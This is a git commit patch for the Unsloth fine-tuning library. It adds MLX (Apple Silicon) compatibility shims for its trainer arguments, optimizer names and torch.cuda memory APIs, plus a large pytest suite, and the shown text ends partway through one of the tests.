* fix: tighten mlx training argument parity

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix: align mlx trainer eos default

* Fix MLX trainer to accept DataCollatorForSeq2Seq and handle TokenizerWrapper in get_chat_template

* Trim redundant docstrings on internal MLX helpers

* MLX review fixes: Studio optimizer import-safe on non-MLX hosts, preserve explicit max_length, skip MLX tests before import

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* MLX review round 2: defer max_length to model context, optimizer alias fallback for older zoo, skip non-MLX test on missing GPU deps

* MLX review round 3: keep chat_templates importable without torch on MLX

* fix: preserve MLX trainer notebook shims

* fix: ignore CUDA tokenizer moves on MLX

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix: harden MLX trainer shims

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix: unwrap MLX scheduler enum args

* fix: coerce integral MLX epoch counts

* fix: spoof CUDA compatibility APIs on MLX

* fix: harden MLX notebook compatibility shims

* MLX: add torch.cuda.mem_get_info to the compatibility shim

Notebook memory cells call torch.cuda.mem_get_info()[0] directly (not gated by
is_available), so on MLX it raises without a shim. Return (free, total) bytes
from the MLX device stats, consistent with the other torch.cuda compat helpers,
and add a matching assertion to the compat-API test.

* MLX: use active memory for mem_get_info; fix BatchEncoding.to keyword device

Address review on the MLX compatibility shim:
- torch.cuda.mem_get_info() now derives free bytes from current active MLX
  memory instead of the peak high-water mark, so a capacity check stays
  accurate after a transient spike or a prior run.
- BatchEncoding.to(device=...) passed by keyword no longer forwards a positional
  None alongside the keyword (which raised "multiple values for 'device'"), so
  non-CUDA keyword moves like .to(device="cpu") delegate correctly.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* MLX: accept preserve_dataset_order; stub RL trainers with a clear error

Two fixes so unmigrated notebooks behave predictably on MLX (torch present):

- preserve_dataset_order is a real MLXTrainingConfig field but was missing from
  the extra-argument allowlist, so passing it (as a config or trainer kwarg)
  could be rejected as unknown on a zoo without the field. Add it to
  _MLX_IMPLEMENTED_EXTRA_ARGUMENTS so the documented no-shuffle path is reachable.

- GRPO/DPO/ORPO (and KTO/PPO/Reward) have no MLX trainer yet. Retarget the ones
  the installed trl exposes to a stub that raises a clear 'not supported on MLX'
  error instead of importing the real torch/CUDA trainer and crashing deep
  inside it. Only existing trainers are retargeted (no invented attributes),
  idempotent across re-imports.

* MLX: make RL-trainer stubbing import-safe; back current-memory APIs with active memory

Address review on the MLX shims:
- The RL-trainer stub loop probed trl with getattr(_trl, name), which triggers
  trl's lazy trainer import and pulls torch -- that can crash import unsloth on a
  torch-free MLX install just to check existence. Decide what to stub from
  trl.__all__ + already-materialized attrs (vars) instead; never resolve the real
  trainer. All trl trainer names are in __all__, so they are still stubbed (even
  torch-free), and the probe no longer imports torch.
- torch.cuda.memory_reserved / memory_allocated (the current, non-max APIs) were
  aliased to peak max_memory_reserved. Back them with current active MLX memory so
  cleanup / capacity checks see live usage; max_* keep the peak high-water mark.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* MLX: keep TRL's SFTConfig epoch default under the trl.SFTConfig alias

Unmigrated notebooks import SFTConfig from trl, which the MLX build aliases to
the public training-args class. TRL/HF SFTConfig defaults to num_train_epochs=3
(max_steps=-1); the native MLX config defaults to max_steps=60. So an SFTConfig
built without an explicit length silently ran 60 MLX steps instead of TRL's 3
epochs under the alias. Alias trl.SFTConfig to a thin subclass that seeds the
TRL epoch default only when neither max_steps nor num_train_epochs is given;
explicit lengths pass through untouched, and the native public args class keeps
its MLX default. Epoch mode is supported by the MLX trainer.

* MLX CI: keep the GGUF reload smoke under the job timeout

The RELOAD-GGUF-via-llama-cli step timed out at 300s. BF16 GGUF decode is
CPU-bound on the macOS runner (~10s+/token), so generating 24 tokens landed
right on the 300s cliff and killed the process. This step is a save/reload
integrity smoke (it only needs a few chars of output), so the token count is
incidental: generate 8 tokens with explicit threads and a small headroom on the
subprocess timeout, all env-tunable (UNSLOTH_GGUF_RELOAD_N / _THREADS /
_TIMEOUT). Cuts the reload well under the 25 minute job budget.

* MLX: broaden trainer stubs, real peak-memory reset, fix shim tests

Address review on the MLX public API:
- The SFTConfig identity tests asserted trl.SFTConfig is UnslothTrainingArguments,
  but the alias now points at the _MLXSFTConfig subclass that preserves TRL's
  epoch default, so the MLX suite failed before testing the shim. Assert
  issubclass instead.
- torch.cuda.reset_peak_memory_stats was a no-op, so max_memory_reserved kept
  earlier model-load peaks across a scoped run. Wire it to mx.reset_peak_memory
  with the same core/metal fallback used for the reads.
- The unsupported-trainer stubs were a fixed list, so trainers outside it (a
  newer RLOOTrainer) still routed to the real torch trainer. Derive the set from
  trl.__all__ (every non-SFT *Trainer) so all non-SFT surfaces fail with a clear
  MLX message; names come from __all__ so trl is never resolved.
- The non-MLX export smoke skipped only on missing bitsandbytes/triton; other
  absent GPU deps (numpy/torch/unsloth-zoo, or _gpu_init re-raising ImportError)
  made it fail on CPU hosts. Skip on any ImportError.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix: keep MLX notebook compatibility minimal

* MLX CI: force CPU + small context for the GGUF reload smoke

The RELOAD-GGUF-via-llama-cli step timed out even at 8 tokens (>420s), so it is a
fixed hang, not per-token cost: on the paravirtual macOS runner GPU llama.cpp's
Metal backend stalls, and the gemma3 GGUF advertises a 32768 context that llama-cli
would otherwise fully allocate. Run llama-cli CPU-only (-ngl 0) with a small context
(-c 256); keep generation short. All env-tunable (UNSLOTH_GGUF_RELOAD_NGL / _CTX /
_N / _THREADS / _TIMEOUT). Also print llama.cpp's partial stdout/stderr on timeout so
a future hang is diagnosable instead of an opaque TimeoutExpired.

* MLX CI: export the reload-smoke GGUF as q8_0, not bf16

The GGUF reload via llama-cli timed out on the runner even CPU-only with a tiny
context and 8 tokens. Root cause is the format, not the flags: the smoke exported
quantization_method='not_quantized', which maps to a bf16 GGUF, and llama.cpp's
bf16 CPU decode is unusably slow on the paravirtual macOS runner. Export q8_0
(fast_quantized, the exporter default and what users deploy) instead -- llama.cpp
has optimized q8_0 CPU kernels, so the fresh-process reload loads and generates in
seconds. The reload stays CPU-only (-ngl 0) with a small context.

* test: clear TRL shim before availability check

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
---
 studio/backend/core/training/worker.py        |   58 +-
 .../tests/test_mlx_training_worker_config.py  |    2 +-
 tests/python/test_mlx_public_trainer_api.py   | 1206 ++++++++++++++++
 tests/studio/run_real_mlx_smoke.py            |   54 +-
 unsloth/__init__.py                           | 1270 ++++++++++++++++-
 unsloth/chat_templates.py                     |   67 +-
 6 files changed, 2595 insertions(+), 62 deletions(-)
 create mode 100644 tests/python/test_mlx_public_trainer_api.py

diff --git a/studio/backend/core/training/worker.py b/studio/backend/core/training/worker.py
index 610af2472e..17dc1299ca 100644
--- a/studio/backend/core/training/worker.py
+++ b/studio/backend/core/training/worker.py
@@ -1253,32 +1253,48 @@ def _adapt_for_mlx_vlm(
     return adapted
 
 
-_MLX_STUDIO_OPTIM_MAP = {
-    "adamw_8bit": "adamw",
-    "paged_adamw_8bit": "adamw",
-    "adamw_bnb_8bit": "adamw",
-    "paged_adamw_32bit": "adamw",
-    "adamw_torch": "adamw",
-    "adamw_torch_fused": "adamw",
-    "adamw": "adamw",
-    "adafactor": "adafactor",
-    "sgd": "sgd",
-    "adam": "adam",
-    "muon": "muon",
-    "lion": "lion",
-}
 _MLX_STUDIO_LR_SCHEDULERS = {"linear", "cosine", "constant"}
 
 
+# Fallback alias map mirroring unsloth_zoo._normalize_mlx_optimizer_name, used
+# only when mlx (Apple Silicon) is not importable so Studio config validation
+# still works on non-MLX hosts. The zoo function stays the source of truth.
+_MLX_STUDIO_ADAMW_ALIASES = frozenset(
+    (
+        "adamw_8bit",
+        "paged_adamw_8bit",
+        "adamw_bnb_8bit",
+        "paged_adamw_32bit",
+        "adamw_torch",
+        "adamw_torch_fused",
+        "paged_adamw",
+        "adamw_32bit",
+        "adamw_hf",
+        "adamw_anyprecision",
+        "adamw_apex_fused",
+    )
+)
+_MLX_STUDIO_NATIVE_OPTIMIZERS = ("adafactor", "adamw", "adam", "sgd", "muon", "lion")
+
+
 def _normalize_mlx_studio_optimizer(value):
-    raw = str(value or "adamw_8bit").strip().lower()
     try:
-        return _MLX_STUDIO_OPTIM_MAP[raw]
-    except KeyError:
-        supported = ", ".join(sorted(_MLX_STUDIO_OPTIM_MAP))
-        raise ValueError(
-            f"Unsupported optimizer for MLX training: {value!r}. " f"Supported values: {supported}."
-        )
+        from unsloth_zoo.mlx.trainer import _normalize_mlx_optimizer_name
+        return _normalize_mlx_optimizer_name(value or "adamw_8bit")
+    except (ImportError, ValueError):
+        # Missing mlx, or an older unsloth-zoo whose normalizer lacks CUDA/TRL
+        # aliases: map common adamw_* names locally so notebook defaults work.
+        opt = str(getattr(value, "value", value) or "adamw_8bit").strip().lower()
+        opt = opt.rsplit(".", 1)[-1].replace("-", "_")
+        if opt in _MLX_STUDIO_ADAMW_ALIASES:
+            opt = "adamw"
+        if opt not in _MLX_STUDIO_NATIVE_OPTIMIZERS:
+            supported = ", ".join(_MLX_STUDIO_NATIVE_OPTIMIZERS)
+            raise ValueError(
+                f"Unsupported optimizer for MLX training: {value!r}. "
+                f"Supported optimizers: {supported}."
+            )
+        return opt
 
 
 def _normalize_mlx_studio_scheduler(value):
diff --git a/studio/backend/tests/test_mlx_training_worker_config.py b/studio/backend/tests/test_mlx_training_worker_config.py
index dce5e27c08..14fc0933d0 100644
--- a/studio/backend/tests/test_mlx_training_worker_config.py
+++ b/studio/backend/tests/test_mlx_training_worker_config.py
@@ -76,7 +76,7 @@ def test_mlx_studio_optimizer_aliases_are_explicit():
 
 
 def test_mlx_studio_rejects_unknown_optimizer():
-    with pytest.raises(ValueError, match = "Unsupported optimizer for MLX training"):
+    with pytest.raises(ValueError, match = "Supported"):
         _normalize_mlx_studio_optimizer("adamw_typo")
 
 
diff --git a/tests/python/test_mlx_public_trainer_api.py b/tests/python/test_mlx_public_trainer_api.py
new file mode 100644
index 0000000000..2c33f86af1
--- /dev/null
+++ b/tests/python/test_mlx_public_trainer_api.py
@@ -0,0 +1,1206 @@
+"""Tests for the MLX public trainer compatibility surface."""
+
+from __future__ import annotations
+
+import builtins
+import importlib
+import importlib.util
+import platform
+import sys
+import types
+import warnings
+
+import pytest
+
+_MLX_SKIP_REASON = "MLX public trainer API is only active on the MLX backend"
+
+
+def _import_mlx_unsloth():
+    """Import unsloth and skip when the current platform is not using MLX."""
+    # Skip before importing unsloth so non-MLX hosts missing optional GPU deps
+    # (e.g. bitsandbytes) skip cleanly instead of erroring at collection.
+    if not (
+        platform.system() == "Darwin"
+        and platform.machine() == "arm64"
+        and importlib.util.find_spec("mlx") is not None
+    ):
+        pytest.skip(_MLX_SKIP_REASON)
+    unsloth = importlib.import_module("unsloth")
+    if getattr(unsloth, "DEVICE_TYPE", None) != "mlx":
+        pytest.skip(_MLX_SKIP_REASON)
+    return unsloth
+
+
+class _DummyModel:
+    """Small model stub that satisfies MLXTrainer constructor probes."""
+
+    def trainable_parameters(self):
+        """Return no trainable parameters for constructor-only tests."""
+        return {}
+
+
+class _DummyVLMModel(_DummyModel):
+    """Small VLM model stub for MLX vision trainer constructor probes."""
+
+    _is_vlm_model = True
+
+
+def test_mlx_exports_unsloth_trainer_api():
+    """MLX imports should expose the public Unsloth trainer API."""
+    unsloth = _import_mlx_unsloth()
+    from unsloth import (
+        RawTextDataLoader,
+        TextPreprocessor,
+        UnslothTrainer,
+        UnslothTrainingArguments,
+        clear_gpu_memory,
+        get_gpu_memory_stats,
+    )
+
+    assert RawTextDataLoader is unsloth.RawTextDataLoader
+    assert TextPreprocessor is unsloth.TextPreprocessor
+    assert UnslothTrainer is unsloth.UnslothTrainer
+    assert UnslothTrainingArguments is unsloth.UnslothTrainingArguments
+    assert get_gpu_memory_stats is unsloth.get_gpu_memory_stats
+    assert clear_gpu_memory is unsloth.clear_gpu_memory
+    assert issubclass(UnslothTrainer, unsloth.MLXTrainer)
+    assert issubclass(UnslothTrainingArguments, unsloth.MLXTrainingConfig)
+    assert importlib.util.find_spec("unsloth.memory") is None
+
+
+def test_non_mlx_exports_public_trainer_api_when_available():
+    """GPU/ROCm imports should keep exporting the public Unsloth trainer API."""
+    try:
+        unsloth = importlib.import_module("unsloth")
+    except ImportError as exc:
+        # Non-MLX import pulls the optional GPU stack (numpy/torch/unsloth-zoo,
+        # bitsandbytes/triton, and _gpu_init can re-raise missing deps as
+        # ImportError). Skip when any of it is unavailable rather than failing
+        # collection on CPU/ROCm/XPU review hosts.
+        pytest.skip(f"non-MLX import dependency unavailable: {exc}")
+    if getattr(unsloth, "DEVICE_TYPE", None) == "mlx":
+        pytest.skip("non-MLX export smoke test only runs on GPU/ROCm backends")
+
+    assert unsloth.UnslothTrainer is not None
+    assert unsloth.UnslothTrainingArguments is not None
+    assert callable(unsloth.get_gpu_memory_stats)
+    assert callable(unsloth.clear_gpu_memory)
+    assert importlib.util.find_spec("unsloth.memory") is None
+
+
+def test_mlx_training_arguments_accept_trl_style_kwargs():
+    """TRL/SFTConfig-style kwargs should normalize without breaking MLX config."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.warns(RuntimeWarning, match = "bf16.*dataset_kwargs"):
+        args = unsloth.UnslothTrainingArguments(
+            max_length = 123,
+            max_steps = 10,
+            warmup_ratio = 0.2,
+            remove_unused_columns = False,
+            dataset_kwargs = {"skip_prepare_dataset": True},
+            bf16 = True,
+        )
+
+    assert args.max_seq_length == 123
+    assert args.warmup_steps == 2
+    assert args.remove_unused_columns is False
+    assert args.dataset_kwargs == {"skip_prepare_dataset": True}
+    assert args.bf16 is True
+    assert args.warmup_ratio == 0.2
+    assert args._unsloth_mlx_max_seq_length_explicit is False
+    assert args._unsloth_mlx_warmup_steps_explicit is False
+
+
+def test_mlx_training_arguments_do_not_warn_for_implemented_or_falsey_extras():
+    """Implemented and falsey inert compatibility kwargs should stay quiet."""
+    unsloth = _import_mlx_unsloth()
+
+    with warnings.catch_warnings(record = True) as caught:
+        warnings.simplefilter("always")
+        args = unsloth.UnslothTrainingArguments(
+            warmup_ratio = 0.2,
+            max_steps = 10,
+            padding_free = False,
+            remove_unused_columns = False,
+            assistant_only_loss = False,
+            completion_only_loss = False,
+        )
+
+    assert args.warmup_steps == 2
+    assert args.padding_free is False
+    assert args.remove_unused_columns is False
+    assert args.completion_only_loss is False
+    assert caught == []
+
+
+def test_mlx_training_arguments_prefer_canonical_max_seq_length():
+    """Canonical MLX config fields should win over compatibility aliases."""
+    unsloth = _import_mlx_unsloth()
+
+    args = unsloth.UnslothTrainingArguments(max_seq_length = 456, max_length = 123)
+    dict_args = unsloth.UnslothTrainingArguments(
+        {"max_length": 123, "max_seq_length": 456},
+    )
+
+    assert args.max_seq_length == 456
+    assert args.max_length == 456
+    assert args._unsloth_mlx_max_length_value == 456
+    assert dict_args.max_seq_length == 456
+    assert dict_args.max_length == 456
+    assert dict_args._unsloth_mlx_max_length_value == 456
+    assert args._unsloth_mlx_max_seq_length_explicit is True
+    assert dict_args._unsloth_mlx_max_seq_length_explicit is True
+
+
+def test_mlx_training_arguments_preserve_explicit_positive_warmup_steps():
+    """Explicit warmup_steps should take precedence over warmup_ratio."""
+    unsloth = _import_mlx_unsloth()
+
+    args = unsloth.UnslothTrainingArguments(
+        max_steps = 10,
+        warmup_steps = 5,
+        warmup_ratio = 0.1,
+    )
+
+    assert args.warmup_steps == 5
+    assert args._unsloth_mlx_warmup_steps_explicit is True
+
+
+def test_mlx_clear_gpu_memory_uses_metal_fallback(monkeypatch):
+    """Older MLX releases expose cache clearing under mx.metal.clear_cache."""
+    unsloth = _import_mlx_unsloth()
+    import mlx.core as mx
+
+    called = []
+    metal = getattr(mx, "metal", None) or type("Metal", (), {})()
+    monkeypatch.delattr(mx, "clear_cache", raising = False)
+    monkeypatch.setattr(mx, "metal", metal, raising = False)
+    monkeypatch.setattr(metal, "clear_cache", lambda: called.append("metal"), raising = False)
+
+    unsloth.clear_gpu_memory()
+
+    assert called == ["metal"]
+
+
+def test_mlx_training_arguments_preserve_explicit_epoch_training():
+    """Epoch-based configs should not inherit the MLX max_steps default."""
+    unsloth = _import_mlx_unsloth()
+
+    args = unsloth.UnslothTrainingArguments(num_train_epochs = 1, warmup_ratio = 0.1)
+    default_args = unsloth.UnslothTrainingArguments()
+
+    assert args.num_train_epochs == 1
+    assert args.max_steps == -1
+    assert args.warmup_ratio == 0.1
+    assert args._unsloth_mlx_warmup_steps_explicit is False
+    assert default_args.max_steps == unsloth.MLXTrainingConfig.max_steps
+
+
+def test_mlx_training_arguments_keep_mlx_dataset_order_default():
+    """Training arguments alone should not override MLX's native data order."""
+    unsloth = _import_mlx_unsloth()
+
+    args = unsloth.UnslothTrainingArguments(max_steps = 1)
+    explicit_default = unsloth.UnslothTrainingArguments(
+        max_steps = 1,
+        dataset_order = "default",
+    )
+
+    assert args.dataset_order == "default"
+    assert args._unsloth_mlx_dataset_order_explicit is False
+    assert args._unsloth_mlx_max_seq_length_explicit is False
+    assert explicit_default.dataset_order == "default"
+    assert explicit_default._unsloth_mlx_dataset_order_explicit is True
+
+
+def test_mlx_training_arguments_warn_on_meaningful_inert_kwargs():
+    """Unsupported TrainingArguments knobs should not be silently ignored."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.warns(RuntimeWarning, match = "push_to_hub.*save_strategy"):
+        args = unsloth.UnslothTrainingArguments(
+            save_strategy = "steps",
+            push_to_hub = True,
+            padding_free = False,
+        )
+
+    assert args.save_strategy == "steps"
+    assert args.push_to_hub is True
+    assert args.padding_free is False
+
+
+def test_mlx_training_arguments_reject_unknown_kwargs():
+    """Unknown SFTConfig flags should fail instead of becoming inert attributes."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.raises(NotImplementedError, match = "assistant_only_loss"):
+        unsloth.UnslothTrainingArguments(assistant_only_loss = True)
+
+    completion_args = unsloth.UnslothTrainingArguments(completion_only_loss = True)
+    assert completion_args.completion_only_loss is True
+
+
+def test_mlx_training_arguments_reject_unsupported_object_flags():
+    """Object-style SFTConfig flags should not be silently dropped."""
+    unsloth = _import_mlx_unsloth()
+
+    class ArgsObject:
+        max_steps = 1
+        assistant_only_loss = True
+
+    with pytest.raises(NotImplementedError, match = "assistant_only_loss"):
+        unsloth._coerce_mlx_training_args(ArgsObject())
+
+    class CompletionArgsObject:
+        max_steps = 1
+        completion_only_loss = True
+
+    completion_args = unsloth._coerce_mlx_training_args(CompletionArgsObject())
+    assert completion_args.completion_only_loss is True
+
+
+def test_mlx_training_arguments_accept_output_dir_positional():
+    """A single positional output_dir should match TrainingArguments behavior."""
+    unsloth = _import_mlx_unsloth()
+
+    args = unsloth.UnslothTrainingArguments("custom-outputs", max_steps = 3)
+
+    assert args.output_dir == "custom-outputs"
+    assert args.max_steps == 3
+
+
+def test_mlx_training_arguments_normalize_optim_and_object_aliases():
+    """Common notebook optimizer names and object aliases should normalize."""
+    unsloth = _import_mlx_unsloth()
+
+    class Scheduler:
+        value = "cosine"
+
+    class ArgsObject:
+        optim = "adamw_8bit"
+        eval_steps = None
+        lr_scheduler_type = Scheduler()
+        max_length = 321
+        max_steps = 10
+        num_train_epochs = 3.0
+        save_steps = 500
+        save_strategy = "no"
+        warmup_ratio = 0.1
+        warmup_steps = 0
+
+    with pytest.warns(RuntimeWarning, match = "save_strategy"):
+        args = unsloth._coerce_mlx_training_args(ArgsObject())
+
+    assert args.optim == "adamw"
+    assert args.eval_steps == 0
+    assert args.lr_scheduler_type == "cosine"
+    assert args.max_seq_length == 321
+    assert args.num_train_epochs == 3
+    assert type(args.num_train_epochs) is int
+    assert args.save_steps == 0
+    assert args.warmup_steps == 1
+    assert args._unsloth_mlx_warmup_steps_explicit is False
+
+
+def test_mlx_training_arguments_accept_supported_notebook_kwargs():
+    """Supported SFT notebooks should be able to pass their current args."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.warns(
+        RuntimeWarning,
+        match = "bf16.*dataset_kwargs.*gradient_checkpointing_kwargs.*save_strategy",
+    ):
+        args = unsloth.UnslothTrainingArguments(
+            bf16 = True,
+            dataset_kwargs = {"skip_prepare_dataset": True},
+            dataset_num_proc = 4,
+            dataset_text_field = "text",
+            embedding_learning_rate = 5e-5,
+            fp16 = False,
+            gradient_accumulation_steps = 8,
+            gradient_checkpointing = True,
+            gradient_checkpointing_kwargs = {"use_reentrant": False},
+            learning_rate = 1e-4,
+            logging_steps = 2,
+            lr_scheduler_type = "cosine",
+            max_grad_norm = 0.3,
+            max_length = 1024,
+            max_steps = 10,
+            num_train_epochs = 1,
+            optim = "paged_adamw_8bit",
+            output_dir = "outputs",
+            padding_free = False,
+            per_device_train_batch_size = 1,
+            remove_unused_columns = False,
+            report_to = "none",
+            save_strategy = "steps",
+            seed = 123,
+            warmup_ratio = 0.1,
+            weight_decay = 0.01,
+        )
+
+    assert args.dataset_num_proc == 4
+    assert args.dataset_text_field == "text"
+    assert args.embedding_learning_rate == 5e-5
+    assert args.gradient_accumulation_steps == 8
+    assert args.gradient_checkpointing is True
+    assert args.learning_rate == 1e-4
+    assert args.logging_steps == 2
+    assert args.lr_scheduler_type == "cosine"
+    assert args.max_grad_norm == 0.3
+    assert args.max_seq_length == 1024
+    assert args.max_steps == 10
+    assert args.num_train_epochs == 1
+    assert args.optim == "adamw"
+    assert args.output_dir == "outputs"
+    assert args.per_device_train_batch_size == 1
+    assert args.report_to == "none"
+    assert args.seed == 123
+    assert args.warmup_ratio == 0.1
+    assert args.warmup_steps == 1
+    assert args.weight_decay == 0.01
+    assert args.dataset_kwargs == {"skip_prepare_dataset": True}
+    assert args.gradient_checkpointing_kwargs == {"use_reentrant": False}
+    assert args.save_strategy == "steps"
+
+
+def test_mlx_training_arguments_honor_direct_no_save_strategy():
+    """Direct kwargs should map save_strategy=no to save_steps=0."""
+    unsloth = _import_mlx_unsloth()
+
+    with pytest.warns(RuntimeWarning, match = "save_strategy"):
+        args = unsloth.UnslothTrainingArguments(
+            save_strategy = "no",
+            save_steps = 500,
+        )
+
+    assert args.save_steps == 0
+
+
+def test_mlx_trainer_accepts_common_sft_kwargs():
+    """UnslothTrainer should accept common SFTTrainer kwargs on MLX."""
+    unsloth = _import_mlx_unsloth()
+
+    with warnings.catch_warnings(record = True) as caught:
+        warnings.simplefilter("always")
+        trainer = unsloth.UnslothTrainer(
+            model = _DummyModel(),
+            tokenizer = None,
+            train_dataset = [],
+            args = {"max_steps": 1},
+            dataset_num_proc = 8,
+            max_length = 456,
+            optim = "adamw_bnb_8bit",
+            processing_class = object(),
+        )
+
+    assert trainer.args.max_steps == 1
+    assert trainer.args.dataset_num_proc == 8
+    assert trainer.args.max_seq_length == 456
+    assert trainer.args.max_grad_norm == 1.0
+    assert trainer.args.optim == "adamw"
+    assert trainer.args.dataset_order == "torch_randperm"
+    assert trainer._unsloth_mlx_ignored_trainer_kwargs == {}
+    assert caught == []
+
+
+def test_mlx_trainer_preserves_explicit_dataset_order():
+    """UnslothTrainer should only set torch_randperm when order is implicit."""
+    unsloth = _import_mlx_unsloth()
+
+    explicit_default = unsloth.UnslothTrainer(
+        model = _DummyModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(
+            max_steps = 1,
+            dataset_order = "default",
+        ),
+    )
+    explicit_sequential = unsloth.UnslothTrainer(
+        model = _DummyModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(
+            max_steps = 1,
+            dataset_order = "sequential",
+        ),
+    )
+    implicit_with_override = unsloth.UnslothTrainer(
+        model = _DummyModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1),
+        dataset_num_proc = 4,
+    )
+    implicit_streaming = unsloth.UnslothTrainer(
+        model = _DummyModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1, streaming = True),
+    )
+    explicit_no_clip = unsloth.UnslothTrainer(
+        model = _DummyModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(
+            max_steps = 1,
+            max_grad_norm = 0.0,
+        ),
+    )
+
+    assert explicit_default.args.dataset_order == "default"
+    assert explicit_sequential.args.dataset_order == "sequential"
+    assert implicit_with_override.args.dataset_order == "torch_randperm"
+    assert implicit_streaming.args.dataset_order == "default"
+    assert implicit_with_override.args.max_grad_norm == 1.0
+    assert explicit_no_clip.args.max_grad_norm == 0.0
+
+
+def test_mlx_trainer_uses_model_context_length_when_implicit():
+    """UnslothTrainer should mirror CUDA's max_length bridge precedence."""
+    unsloth = _import_mlx_unsloth()
+    model = _DummyModel()
+    model.max_seq_length = 321
+    max_length_model = _DummyModel()
+    max_length_model.max_seq_length = 321
+    none_model = _DummyModel()
+    none_model.max_seq_length = 321
+    explicit_seq_model = _DummyModel()
+    explicit_seq_model.max_seq_length = 321
+    clamped_seq_model = _DummyModel()
+    clamped_seq_model.max_seq_length = 321
+    model_max_length = _DummyModel()
+    model_max_length.max_length = 777
+    metadata_model = _DummyModel()
+    metadata_model.config = type("Config", (), {"max_position_embeddings": 888})()
+    metadata_tokenizer = type("Tokenizer", (), {"model_max_length": 999})()
+    explicit_max_length_no_model = _DummyModel()
+    trainer_override_model = _DummyModel()
+    trainer_override_model.max_seq_length = 321
+    config_override_model = _DummyModel()
+    config_override_model.max_seq_length = 432
+
+    implicit = unsloth.UnslothTrainer(
+        model = model,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1),
+    )
+    max_length_args = unsloth.UnslothTrainer(
+        model = max_length_model,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1, max_length = 123),
+    )
+    none_args = unsloth.UnslothTrainer(
+        model = none_model,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1, max_seq_length = None),
+    )
+    explicit_seq = unsloth.UnslothTrainer(
+        model = explicit_seq_model,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1, max_seq_length = 123),
+    )
+    clamped_seq = unsloth.UnslothTrainer(
+        model = clamped_seq_model,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1, max_seq_length = 654),
+    )
+    model_max_length_only = unsloth.UnslothTrainer(
+        model = model_max_length,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1),
+    )
+    metadata_ignored = unsloth.UnslothTrainer(
+        model = metadata_model,
+        tokenizer = metadata_tokenizer,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1),
+    )
+    explicit_max_length = unsloth.UnslothTrainer(
+        model = explicit_max_length_no_model,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1, max_length = 123),
+    )
+    trainer_override = unsloth.UnslothTrainer(
+        model = trainer_override_model,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.UnslothTrainingArguments(max_steps = 1),
+        max_seq_length = 654,
+    )
+    config_with_override = unsloth.UnslothTrainer(
+        model = config_override_model,
+        tokenizer = None,
+        train_dataset = [],
+        args = unsloth.MLXTrainingConfig(max_steps = 1),
+        dataset_num_proc = 4,
+    )
+
+    assert implicit.args.max_seq_length == 321
+    assert implicit.args.max_length == 321
+    assert max_length_args.args.max_seq_length == 321
+    assert max_length_args.args.max_length == 321
+    assert none_args.args.max_seq_length == 321
+    assert none_args.args.max_length == 321
+    assert explicit_seq.args.max_seq_length == 123
+    assert explicit_seq.args.max_length == 123
+    assert clamped_seq.args.max_seq_length == 321
+    assert clamped_seq.args.max_length == 321
+    assert model_max_length_only.args.max_seq_length == 777
+    assert model_max_length_only.args.max_length == 777
+    assert metadata_ignored.args.max_seq_length == 1024
+    assert metadata_ignored.args.max_length == 1024
+    assert explicit_max_length.args.max_seq_length == 123
+    assert explicit_max_length.args.max_length == 123
+    assert trainer_override.args.max_seq_length == 654
+    assert trainer_override.args.max_length == 654
+    assert config_with_override.args.max_seq_length == 432
+    assert config_with_override.args.max_length == 432
+
+
+def test_mlx_trainer_processing_class_overrides_explicit_none_tokenizer():
+    """TRL passes tokenizer=None while processing_class carries the tokenizer."""
+    unsloth = _import_mlx_unsloth()
+    tokenizer = object()
+
+    class Processor:
+        pass
+
+    processor = Processor()
+    processor.tokenizer = tokenizer
+
+    trainer = unsloth.UnslothTrainer(
+        model = _DummyModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = {"max_steps": 1},
+        processing_class = processor,
+    )
+
+    assert trainer.processor is processor
+    assert trainer.tokenizer is tokenizer
+
+
+def test_mlx_trainer_vision_collator_processor_overrides_processing_class():
+    """Vision notebooks pass the tokenizer as processing_class and processor in collator."""
+    unsloth = _import_mlx_unsloth()
+    tokenizer = object()
+
+    class Processor:
+        pass
+
+    processor = Processor()
+    processor.tokenizer = tokenizer
+    collator = unsloth.UnslothVisionDataCollator(_DummyVLMModel(), processor)
+
+    trainer = unsloth.UnslothTrainer(
+        model = _DummyVLMModel(),
+        tokenizer = None,
+        train_dataset = [],
+        args = {"max_steps": 1},
